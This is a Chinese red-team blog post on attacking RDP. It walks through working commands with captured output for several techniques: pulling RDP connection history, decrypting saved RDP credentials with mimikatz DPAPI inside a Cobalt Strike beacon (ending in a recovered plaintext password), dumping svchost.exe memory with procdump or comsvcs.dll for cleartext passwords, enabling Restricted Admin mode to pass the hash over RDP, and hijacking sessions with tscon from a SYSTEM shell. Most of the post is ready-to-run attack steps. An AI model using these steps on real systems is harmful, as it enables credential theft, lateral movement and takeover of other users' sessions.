原创 | 浅析RDP攻击面
点击蓝字
关注我们
抓取RDP连接日志
工具:
https://github.com/Heart-Sky/ListRDPConnections
对外 RDP 连接记录
对外 RDP 连接记录保存在HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\
下,默认只包含缺省用户设置和已登录用户的信息
未登录用户连接记录需要通过加载对应用户目录下的 NTUSER.DAT 到注册表中并读取来实现
需要有 SeBackupPrivilege 和 SeRestorePrivilege 这两项权限才可以实现对注册表的读和写操作对内 RDP 连接记录
对内 RDP 连接记录保存在 Wind。
一个完整的 rdp登录->注销 过程包括 网络连接->身份认证->登录->注销,在注销前还可能发生 会话断开/重新连接选取
EventID: 1149 网络连接 事件作为全量的登录事件,
EventID: 21 登录成功 和 EventID: 25 重新连接 作为登录成功的事件,通过剔除登录成功的事件即为登录失败的事件
比如下图,该机器没有RDP去登陆过别人,但是被172.16.4.1登陆成功过,如果多台机器都被相同ip登陆成功过,那可能RDP过来的ip就是运维的ip。
execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe
获取RDP凭据
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
C:\Users\Administrator\AppData\Local\Microsoft\Credentials
5EEE4899502166CA91541FD79DA485CB
使用mimikatz来进行操作读取密码
dpapi::cred
/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
CS上的话直接
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
dwDataLen : 000000c0 - 192
pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
dwSignLen : 00000040 - 64
pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
beacon> mimikatz sekurlsa::dpapi full
[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command
[+] host called home, sent: 750705 bytes
[+] received output:
Authentication Id : 0 ; 7152762 (00000000:006d247a)
Session : Interactive from 6
User Name : DWM-6
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/4/26 18:12:38
SID : S-1-5-90-6
Authentication Id : 0 ; 6443772 (00000000:006252fc)
Session : NewCredentials from 0
User Name : Administrator
Domain : WEBLOGIC
Logon Server : (null)
Logon Time : 2022/4/24 15:14:41
SID : S-1-5-21-2004965046-3923418856-647414055-500
Authentication Id : 0 ; 196482 (00000000:0002ff82)
Session : Interactive from 1
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2022/4/22 1:27:06
SID : S-1-5-21-2004965046-3923418856-647414055-500
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WEBLOGIC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID : S-1-5-20
Authentication Id : 0 ; 43470 (00000000:0000a9ce)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID :
Authentication Id : 0 ; 7246695 (00000000:006e9367)
Session : Interactive from 6
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2022/4/26 22:57:38
SID : S-1-5-21-2004965046-3923418856-647414055-500
[00000000]
* GUID :{96768172-a437-4ca8-a877-14e0aa498a3e}
* Time :2022/4/27 0:00:37
* MasterKey :3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
* sha1(key) :b356179c1c3c35b9b8e4c0dcb345db87c692c6a1
Authentication Id : 0 ; 7152777 (00000000:006d2489)
Session : Interactive from 6
User Name : DWM-6
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/4/26 18:12:38
SID : S-1-5-90-6
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2022/4/22 1:26:43
SID : S-1-5-19
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WEBLOGIC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID : S-1-5-18
[00000000]
* GUID :{628e2357-b149-42af-8714-2a2e22e08f27}
* Time :2022/4/24 16:00:14
* MasterKey :967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638
* sha1(key) :00472b23a48a568dff80abe4194c8196ba56bbb3
[00000001]
* GUID :{3f911ddd-ae45-479e-bb98-5b6c10c26c50}
* Time :2022/4/26 22:50:53
* MasterKey :ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad
* sha1(key) :48feec9411a1017f5edb03a59922f2ea960bbfe9
[00000002]
* GUID :{acc494d8-92ca-45e0-9e87-27017cf59c68}
* Time :2022/4/26 23:02:50
* MasterKey :d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26
* sha1(key) :be9117bfc64e4d0f62c06adfbd3f7f7f82643237
[00000003]
* GUID :{afe30aef-f67e-4cea-9b91-71318f566140}
* Time :2022/4/22 1:26:42
* MasterKey :c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227
* sha1(key) :39507d003e38633020e85d318e509f55939d208f
也就是
MasterKey
: 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0f
ec3d356bc9d8a78bbfd158e2b0
使用下面的命令进行读取密码的信息
mimikatz dpapi::cred
/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
/masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac37
2fd92d3c0fec3d356bc9d8a78bbfd158e2b01
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
dwDataLen : 000000c0 - 192
pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
dwSignLen : 00000040 - 64
pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
Decrypting Credential:
* masterkey : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000b8 - 184
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 2022/4/26 16:00:20
unkFlagsOrSize : 00000018 - 24
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/10.10.20.7
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : redteam\saul
CredentialBlob : admin!@#45
Attributes : 0
Dump RDP Credentials From svchost.exe
在去年5月份的一篇老外推文中发现可以通过本地的svchost.exe中抓取到RDP明文密码。
前提是这个RDP是当前正在连接的。
拿Windows Server 2012做测试
整体流程就是在进程内存中对 svchost.exe 进行简单的字符串搜索,就会发现用于通过 RDP 连接到系统的明文密码。
找到正确的进程
有2种方式:
0x01 Process Hacker
Process Hacker
使用 Process Hacker 2. 转到 Network 选项卡并找到具有 RDP 连接的进程。
这仅在 RDP 连接仍处于活动状态时才有效。
0x02 Command Line
通过如下命令可以找到
netstat -nob | Select-String TermService -Context 1
tasklist /M:rdpcorets.dll
创建转储文件
Process Hacker的话直接右键svchost.exe进程就可以创建dump文件
0x02 任务管理器
详细信息 ==> 选择对应pid进程 ==> 创建转储文件
0x03 ProcessDump
procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]
0x04 comsvc.dll
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full
MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full
查找明文密码
可以通过strings命令,但是strings在Windows Server 2012上并不存在。
ts::logonpasswords
Restricted Admin mode
这里是涉及到的一个概念,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中。
Windows 8.1和Windows Server 2012 R2默认支持该功能
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
也就是当win7 windows Server 2008 R2 安装了补丁后同样可以Hash登陆RDP
利用时注意 Server开启Restricted Admin mode时,Client也需要支持Restricted Admin mode
修改注册表开启Restricted Admin mode的方法:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /
DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
Hash登陆RDP实现
这里需要使用mimikatz去pth
这里首先拿域用户去pth,失败。经朋友提示说可能虚拟机会有问题。
测试了几个实验:
虚拟机环境下
win7 RDP登陆 win2012出现下图错误(偷的图,但是报错一样,忘记截图了)
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"
win10登陆win2012没问题
小结一下,踩了几个坑但是应该是虚拟机的问题,实战情况下问题应该都不大。
这种场景的话主要是
1、有目标机管理员组账号的用户名+hash,还有机器名。
2、修改对方注册表开启Restricted Admin mode(受限管理模式)
3、管理员权限用mimikatz => Pass The Hash With Remote Desktop Protoco
RDP会话劫持
系统管理员和用户通常可以通过 RDP 远程桌面登录指定服务器 3389 远程桌面,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话,该漏洞在 2017 年由以色列安全研究员 Alexander Korznikov 在个人博客中披露。利用条件只需要获取机器 SYSTEM 权限执行 tscon 命令
以Windows Server 2012测试
可以通过右键 ==> 连接 ==> 输入对应账号的密码来连接到该会话
query user
然后执行tscon命令即可切换会话
tscon 8 /PASSWORD:rdp1用户的密码
当然这是正常情况下。当我们获得了SYSTEM的shell时可以绕过认证,直接切换,无需输入密码。
首先需要一个SYSTEM权限的cmd,可以通过PsExec.exe实现
PsExec64.exe -s -i cmd
之后输入
quser //查找rdp ID
tscon 8 /dest:console
成功后直接跳转到该RDP
往期推荐